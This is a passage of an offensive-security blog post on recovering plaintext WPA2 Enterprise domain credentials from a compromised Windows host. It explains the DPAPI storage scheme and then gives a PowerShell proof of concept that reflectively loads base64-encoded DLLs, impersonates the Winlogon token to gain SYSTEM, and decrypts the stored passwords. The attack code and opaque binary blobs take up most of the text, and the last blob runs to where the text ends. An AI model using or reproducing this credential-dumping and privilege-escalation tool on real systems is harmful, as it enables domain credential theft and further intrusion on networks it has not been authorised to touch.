Recovering Plaintext Domain Credentials from WPA2 Enterprise on a Compromised Host

( Original text  )

Introduction

Hello reader. In this post I will explain what I have learned from studying how windows stores credentials for WPA2 Enterprise.

This research conducted me to develop a tool capable of retrieving it, in plaintext! This could be useful when compromising AD workstations that use this kind of authentication in a Wireless Access Point.

Differences between WPA2 PSK and WPA2 Enterprise at Credential storage

To retrieve WPA2 PSK passwords there is no need for administrator rights or even elevated process, but for WPA2 Enterprise, it is needed. Because it is encrypted with SYSTEM DPAPI keys and only this user can decrypt it. So for that we need to own local administrator privileges.

When you first log-in to a WPA2 Enterprise network, DPAPI (Data Protection API) encrypts with the CURRENT USER encryption-key the domain password used to be connect to the AP. The result of this encryption is used to encrypt again, but now with SYSTEM encryption-key, alongside with Domain name and Username used to log-in to the AP.

The function used to decrypt the data, using the current-user DPAPI key is this one.

The procedure is like this:

  1. AP tells computer that log-in was successful with credentials inserted by the user.
  2. User encrypts password with DPAPI keys.
  3. SYSTEM encrypts domain and username with DPAPI keys alongside with output from step 2.
  4. SYSTEM stores data to HKCU registry hive.

How to retrieve this information

Do the reverse operation.

  1. Get data from HKCU registry hive
  2. Turn to SYSTEM and decrypt the first layer, this will decrypt Domain name and Username information.
  3. Revert back to user using RevertToSelf()
  4. Decrypt output from step 2 to get password plaintext data.

Proof-Of-Concept code

Enough of theory. I needed to dump my own credentials.

All code samples I found in the internet used PsExec to get a system shell. I dislike this method, and prefered to create a smooth experience by not relying on any external tool like tools from SysInternals. So I chose to use Token Impersonation from my “How to get system — Part 2” as it was working and only relies on PowerShell. This resulted in the following PowerShell script:

function Get-System 
{
    if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') 
    {
        Write-Output "This powershell shell is not in STA mode!";
        return ;
    }

    if(-not ([System.Management.Automation.PSTypeName]"zc00l.ImpersonationToken").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAGTDJOgAAAAAAAAAAOAAIiALATAAABYAAAAGAAAAAAAAtjQAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGE0AABPAAAAAEAAANgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAACoMwAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAvBQAAAAgAAAAFgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAANgDAAAAQAAAAAQAAAAYAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAHAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACVNAAAAAAAAEgAAAACAAUAhCMAACQQAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwAwATAAAAAQAAEQADFgJvEAAACigCAAAGCisABioAEzADANAAAAACAAARABIB/hUEAAACKAgAAAYMCH4RAAAKKBIAAAoTBREFLAgWEwY4pQAAAAh+CQAABBIDKAQAAAYW/gETBxEHLAgWEwY4hwAAABQCEgEoAQAABhb+ARMIEQgsBRYTBitwEgn+FQYAAAISCReNAwAAAn0eAAAEEgl+HQAABH0cAAAEEgkXfRsAAAQRCRMEEQR7HgAABBaPAwAAAgd9EQAABBEEex4AAAQWjwMAAAIYfRIAAAQJEgQSACgJAAAGFv4BEwoRCiwFFhMGKwUGEwYrABEGKhMwBgDGAAAAAwAAEQASAP4VBAAAAigIAAAGCwd+CQAABH4LAAAEYBICKAQAAAYW/gETBxEHLAgWEwg4kAAAABQCEgAoAQAABhb+ARMJEQksBRYTCCt5Egr+FQMAAAISCgZ9EQAABBIKGH0SAAAEEQoNEgv+FQUAAAISCxd9GQAABBILF40DAAACfRoAAAQRCxMEEQR7GgAABBYJpAMAAAISBf4VBQAAAggWEgQRBCgBAAArEgUSBigHAAAGFv4BEwwRDCwFFhMIKwUXEwgrABEIKgAAEzADAIMAAAAEAAARACAABAAAFwIoAgAABgoGfhEAAAooEgAACg0JLAUWEwQrXgZ+CAAABH4HAAAEYBIBKAQAAAYW/gETBREFLAUWEwQrPRIC/hUVAAABBxgSAigFAAAGFv4BEwYRBiwFFhMEKx5+EQAACggoBgAABhb+ARMHEQcsBRYTBCsFFxMEKwARBCoiAigUAAAKACoTMAIAtgAAAAAAAAAgAAQAAIACAAAEGIADAAAEIAAADwCABAAABCAAAAIAgAUAAAQXgAYAAAQYgAcAAAQagAgAAAQegAkAAAQfEIAKAAAEHyCACwAABB9AgAwAAAQggAAAAIANAAAEIAABAACADgAABH4FAAAEfgkAAARggA8AAAR+BAAABH4GAAAEYH4HAAAEYH4IAAAEYH4JAAAEYH4KAAAEYH4LAAAEYH4MAAAEYH4NAAAEYH4OAAAEYIAQAAAEKh4XgB0AAAQqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAADQBQAAI34AADwGAAC8BwAAI1N0cmluZ3MAAAAA+A0AAAQAAAAjVVMA/A0AABAAAAAjR1VJRAAAAAwOAAAYAgAAI0Jsb2IAAAAAAAAAAgAAAVc9AhQJCgAAAPoBMwAWAAABAAAAFgAAAAcAAAAsAAAADwAAAB4AAAAUAAAAEgAAAA8AAAAFAAAABAAAAAIAAAAIAAAAAQAAAAIAAAAFAAAAAQAAAAAANgUBAAAAAAAGAC4EfQYGAJsEfQYGAFMDSwYPAJ0GAAAGAHsDIAYGAAIEIAYGAOMDIAYGAIIEIAYGAE4EIAYGAGcEIAYGAJIDIAYGAGcDXgYGAEUDXgYGAMYDIAYGAK0D4QQGAH4HWAUKAHYHSwYGAAcDWAUGAB8EWAUGAF8FWAUGAEQGWAUGABAFXgYAAAAAAQAAAAAAAQABAAEAEACJBQoFQQABAAEACgEQADQBAABJABEADwAKARAAhAAAAEkAFwAPAAoBEAALAQAASQAZAA8ACgEQAIoBAABJABsADwACAQAAHQcAAFEAHwAQAFGAzQHCABYA8QDFABYAKgDFABYAPwDFABYAFQDFABYA2wHFABYAnADFABYArADFABYADALFABYAiQDFABYAHAHFABYASAHFABYAmAHFABYAbQDFABYACgDFABYAXAHFAAYAgALIAAYA6gbFAFaArQHFAFaAKgDFAFaAWADFAFaAbQHFAAYApgfFAAYAnQfCAAYAjgfCAAYQ3wbMAAYAjgfFAAYAUAXFABYA8AHFAAYQiwLMAAYGGALFAFaAGAXRAFaAEQPRAFaAWgLRAFaACQbRAFaASALRAFaAMgPRAFaAlQLRAFaAUgfRAFaAIALRAFaA6QXRAFaA+AXRAFaA0QXRAFaAzgTRAAAAAACAAJEguQTVAAEAAAAAAIAAliBgB94ABABQIAAAAACWAGAH5gAHAAAAAACAAJEgtAXuAAkAAAAAAIAAliBzBfYADQAAAAAAgACRIGQFNgAQAAAAAACAAJEg1Ab+ABIAAAAAAIAAkSBsBw0BGQAAAAAAgACWIPsEEQEZAHAgAAAAAJYAZwIbARwATCEAAAAAlgCFAhsBHQAgIgAAAACWAJwFIAEeAK8iAAAAAIYYNwYGAB8AuCIAAAAAkRg9BiUBHwB6IwAAAACRGD0GJQEfAAAAAQDzAgAAAgAAAwIAAwB+AgAAAQBEBwAAAgDkAgAAAwA+AgAAAQAyAgAAAgAwBwAgAAAAAAAAAQDWAgAAAgA2BwIAAwDCAgAAAQC6AgAAAgC+AAAAAwClAgAAAQDOAgAAAgCCBQAgAAAAAAAAAQDCAgAgAgC/BgAAAwApAwAABAAJBwAABQAbAwIABgD1BgAAAQDFBQAAAgCsBgIAAwCFBwAAAQCLAgAAAQCLAgAAAQB6AgkANwYBABEANwYGABkANwYKACkANwYQADEANwYQADkANwYQAEEANwYQAEkANwYQAFEANwYQAFkANwYQAGEANwYVAGkANwYQAHEANwYQAHkANwYQAJkANwYGAIkANwIeAKkAMgYzAKkArgc2ALEA2gRSAIEANwYGAAgABAByAAkATAByAAkAUAB3AAkAVAB8AAkAWACBAAkAgACGAAkAhAByAAkAiAB3AAkAjACLAAkAkACQAAkAlACVAAkAmACaAAkAnACfAAkAoACkAAkApACpAAkAqACuAAkArACzAAkAsAC4AC4ACwApAS4AEwAyAS4AGwBRAS4AIwBaAS4AKwB1AS4AMwB1AS4AOwB1AS4AQwBaAS4ASwB7AS4AUwB1AS4AWwB1AS4AYwCTAS4AawC9AS4AcwDKAeMAewByABMAwAAlAMAAKQDAADQAvQA8AL0AGgAiADwAXgAcBSkFAAEDALkEAQBAAQUAYAcCAEABCQC0BQEAAAELAHMFAQBAAQ0AZAUBAEABDwDUBgEAQAERAGwHAgBAARMA+wQBAASAAAABAAAAAAAAAAAAAAAAANsAAAAEAAAAAAAAAAAAAABpACkCAAAAAAQAAAAAAAAAAAAAAGkAWAUAAAAAAwACAAQAAgAFAAIABgACAAcAAgAnAFkAAAAAPE1vZHVsZT4AVE9LRU5fUkVBRABTVEFOREFSRF9SSUdIVFNfUkVBRABTRV9QUklWSUxFR0VfRU5BQkxFRABTVEFOREFSRF9SSUdIVFNfUkVRVUlSRUQAU0VfUFJJVklMRUdFX1JFTU9WRUQAVE9LRU5fQURKVVNUX1NFU1NJT05JRABMVUlEAFRPS0VOX1FVRVJZX1NPVVJDRQBUT0tFTl9EVVBMSUNBVEUAVE9LRU5fSU1QRVJTT05BVEUAU0VDVVJJVFlfSU1QRVJTT05BVElPTl9MRVZFTABJbXBlcnNvbmF0aW9uVG9rZW5ETEwAUFJPQ0VTU19RVUVSWV9JTkZPUk1BVElPTgBUT0tFTl9QUklWSUxFR0VTAFRPS0VOX0FESlVTVF9QUklWSUxFR0VTAExVSURfQU5EX0FUVFJJQlVURVMAVE9LRU5fQURKVVNUX0dST1VQUwBUT0tFTl9BTExfQUNDRVNTAFNFX1BSSVZJTEVHRV9VU0VEX0ZPUl9BQ0NFU1MAUFJJVklMRUdFX1NFVABUT0tFTl9BREpVU1RfREVGQVVMVABTRV9QUklWSUxFR0VfRU5BQkxFRF9CWV9ERUZBVUxUAEFOWVNJWkVfQVJSQVkAVE9LRU5fQVNTSUdOX1BSSU1BUlkAUFJJVklMRUdFX1NFVF9BTExfTkVDRVNTQVJZAFRPS0VOX1FVRVJZAHZhbHVlX18AU2V0UXVvdGEAbXNjb3JsaWIAcHJvYwBnZXRfSWQAcHJvY2Vzc0lkAFZpcnR1YWxNZW1vcnlSZWFkAENyZWF0ZVRocmVhZABJc1ByaXZpbGVnZUVuYWJsZWQAcGlkAGxwTHVpZABFbmFibGVQcml2aWxlZ2UARHVwbGljYXRlSGFuZGxlAER1cGxpY2F0ZVRva2VuSGFuZGxlAEV4aXN0aW5nVG9rZW5IYW5kbGUAcEhhbmRsZQBQcm9jZXNzSGFuZGxlAGJJbmhlcml0SGFuZGxlAGxwU3lzdGVtTmFtZQBscE5hbWUAVmFsdWVUeXBlAFRlcm1pbmF0ZQBQcmV2aW91c1N0YXRlAE5ld1N0YXRlAFZpcnR1YWxNZW1vcnlXcml0ZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBMb29rdXBQcml2aWxlZ2VWYWx1ZQBTeW5jaHJvbml6ZQBTaXplT2YAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQcml2aWxlZ2VDaGVjawB6YzAwbABNYXJzaGFsAEFsbABhZHZhcGkzMi5kbGwAa2VybmVsMzIuZGxsAEltcGVyc29uYXRpb25Ub2tlbkRMTC5kbGwAQ29udHJvbABTeXN0ZW0ARW51bQBTZXRUaHJlYWRUb2tlbgBEdXBsaWNhdGVUb2tlbgBoVG9rZW4ASW1wZXJzb25hdGlvblRva2VuAEltcGVyc29uYXRlUHJvY2Vzc1Rva2VuAE9wZW5Qcm9jZXNzVG9rZW4AQ2xpZW50VG9rZW4AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU2V0SW5mb3JtYXRpb24AUXVlcnlJbmZvcm1hdGlvbgBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFN5c3RlbS5SZWZsZWN0aW9uAFplcm8ALmN0b3IALmNjdG9yAEludFB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAUmVxdWlyZWRQcml2aWxlZ2VzAERpc2FibGVBbGxQcml2aWxlZ2VzAEFkanVzdFRva2VuUHJpdmlsZWdlcwBBdHRyaWJ1dGVzAFJldHVybkxlbmd0aEluQnl0ZXMAQnVmZmVyTGVuZ3RoSW5CeXRlcwBQcm9jZXNzQWNjZXNzRmxhZ3MAZmxhZ3MARGVzaXJlZEFjY2VzcwBwcm9jZXNzQWNjZXNzAENyZWF0ZVByb2Nlc3MAT3BlblByb2Nlc3MAR2V0Q3VycmVudFByb2Nlc3MAT2JqZWN0AHBmUmVzdWx0AFByaXZpbGVnZUNvdW50AEhpZ2hQYXJ0AExvd1BhcnQAb3BfRXF1YWxpdHkAAAAAAAAANMB5wx4YykSS6Z0DEn72xgAEIAEBCAMgAAEFIAEBEREEIAEBDgQgAQECAwcBGAMgAAgQBwsCERAYGBEYAgICAhEYAgIGGAUAAgIYGBUHDREQGBgRDBEUERQJAgICEQwRFAIGEAEBCB4ABAoBERQKBwgYGBgCAgICAgi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQAAACABP8PHwAECAAAAAQQAAAABCAAAAAEQAAAAASAAAAABAABAAAEAAIAAAQABAAABAAQAAAEAAAQAAIeAQECAgYIAgYJAwYREAQGHREMAwYRHAgAAwIODhAREAcAAxgRHAIIBwACGBJFERwHAAMCGAkQGAcAAwIYCBAYDgAGAhgCEBEUCRARFBAJAwAAGAkAAwIYEBEYEAIEAAECDgQAAQIIAwAAAQgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQAHAQAAAAAaAQAVSW1wZXJzb25hdGlvblRva2VuRExMAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDE4AAApAQAkZDUzNGM1NTgtNDNjYy00ZGEyLWE3NTUtMDYyMTM1ZDA2NzE4AAAMAQAHMS4wLjAuMAAATQEAHC5ORVRGcmFtZXdvcmssVmVyc2lvbj12NC41LjIBAFQOFEZyYW1ld29ya0Rpc3BsYXlOYW1lFC5ORVQgRnJhbWV3b3JrIDQuNS4yAAAAAP9SNtQAAAAAAgAAAIEAAADgMwAA4BUAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAABSU0RTtwWwQJTNz0WcHiOfEy1IZwEAAABDOlxVc2Vyc1xhbmRyZVxzb3VyY2VccmVwb3NcVG9rZW5JbXBlcnNvbmF0aW9uXEltcGVyc29uYXRpb25Ub2tlbkRMTFxvYmpcRGVidWdcSW1wZXJzb25hdGlvblRva2VuRExMLnBkYgCJNAAAAAAAAAAAAACjNAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlTQAAAAAAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAAAAAAAAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABABAAAAAYAACAAAAAAAAAAAAAAAAAAAABAAEAAAAwAACAAAAAAAAAAAAAAAAAAAABAAAAAABIAAAAWEAAAHwDAAAAAAAAAAAAAHwDNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQAAAACAAAAAAAAAAAAAAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAAAsATcAgAAAQBTAHQAcgBpAG4AZwBGAGkAbABlAEkAbgBmAG8AAAC4AgAAAQAwADAAMAAwADAANABiADAAAAAaAAEAAQBDAG8AbQBtAGUAbgB0AHMAAAAAAAAAIgABAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAAAAAAAAVAAWAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AVABvAGsAZQBuAEQATABMAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAuADAALgAwAAAAVAAaAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuAFQAbwBrAGUAbgBEAEwATAAuAGQAbABsAAAASAASAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIACpACAAIAAyADAAMQA4AAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAAAABcABoAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAASQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgBUAG8AawBlAG4ARABMAEwALgBkAGwAbAAAAEwAFgABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAASQBtAHAAZQByAHMAbwBuAGEAdABpAG8AbgBUAG8AawBlAG4ARABMAEwAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAMAAAAuDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null
        Write-Verbose "DLL has been reflected."
    }
    
    if(-not [zc00l.ImpersonationToken]::ImpersonateProcessToken((Get-Process Winlogon).Id))
    {
        Write-Output "Could not Impersonate Token! Maybe you are not Local Admin?";
        return;
    }
    Write-Output "We are: $([Environment]::Username)"
}

function Check-System
{
    if([Environment]::Username -eq "SYSTEM")
    {
        return $true
    }
    return $false
}

function Get-WlanEnterprisePassword
{
    
    if([Environment]::Username -ne "SYSTEM")
    {
        # Only SYSTEM user can dump the first stage decryption.
        Get-System
        if(-not (Check-System))
        {
            Write-Output "Only SYSTEM can dump DPAPI secrets!"
            return
        }
    }

    [Reflection.Assembly]::Load([Convert]::FromBase64String("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